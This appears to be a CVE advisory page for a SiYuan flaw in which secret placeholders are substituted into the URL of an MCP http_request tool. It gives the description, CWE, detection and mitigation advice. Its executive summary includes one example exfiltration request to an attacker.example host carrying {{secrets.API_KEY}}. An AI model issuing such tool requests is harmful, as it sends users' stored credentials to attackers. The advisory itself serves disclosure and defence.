CVE-2026-59809
Received Received - Intake

SiYuan Secret Exfiltration via MCP http_request Tool

Vulnerability report for CVE-2026-59809, including description, CVSS score, EPSS score, affected products, exploitability, helpful resources, and attack-flow context.

Publication date: 2026-08-22

Last updated on: 2026-08-22

Assigner: VulnCheck

Description

SiYuan before v3.8.0 interpolates secret placeholders into the destination URL parameter of the http_request MCP tool, allowing attackers to exfiltrate stored secrets. An MCP client can craft a request with an attacker-controlled URL containing secret placeholders to send plaintext secret values to any public host without confirmation.

CVSS Scores

EPSS Scores

Probability:
Percentile:

Meta Information

Published
2026-08-22
Last Modified
2026-08-22
Generated
2026-08-22
AI Q&A
2026-08-22
EPSS Evaluated
N/A
NVD
EUVD

Affected Vendors & Products

Showing 1 associated CPE
Vendor Product Version / Range
siyuan siyuan to 3.8.0 (exc)

Helpful Resources

Exploitability

CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-201 The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.

Attack-Flow Graph

AI Quick Actions

Instant insights powered by AI
Executive Summary

SiYuan before v3.8.0 has a vulnerability where secret placeholders like {{secrets.NAME}} are interpolated into the URL parameter of the http_request MCP tool. This allows attackers to craft requests that send plaintext secret values to any host they control without user confirmation. For example, an attacker could send a GET request to https://attacker.example/collect?token={{secrets.API_KEY}}, and the secret would be substituted and sent to their server.

Detection Guidance

Check SiYuan application logs for HTTP requests containing secret placeholders like {{secrets.NAME}} in the URL parameter. Monitor outbound network traffic for unexpected connections to external hosts, especially those receiving GET requests with secret values.

Impact Analysis

This vulnerability allows attackers to exfiltrate stored secrets such as API keys or other sensitive data without user interaction. Since the http_request tool sends secrets to any public host, attackers can collect these secrets for further attacks, unauthorized access, or data breaches. The impact is high confidentiality loss due to the ability to transmit secrets in plaintext.

Compliance Impact

This vulnerability likely violates compliance requirements such as GDPR and HIPAA due to unauthorized exfiltration of sensitive data. GDPR mandates protection of personal data, and HIPAA requires safeguarding protected health information. The exfiltration of secrets like API keys or credentials could lead to non-compliance, potential fines, and reputational damage.

Mitigation Strategies

Upgrade SiYuan to version 3.8.0 or later to patch the vulnerability. If upgrading is not possible, restrict the MCP http_request tool's access to sensitive secrets or disable it entirely. Review stored secrets for potential exposure and rotate any compromised credentials.

Chat Assistant

Ask questions about this CVE
Hi! I’m here to help you understand CVE-2026-59809. Ask me anything about the vulnerability, its impact, or mitigation strategies.
0/70

EPSS Chart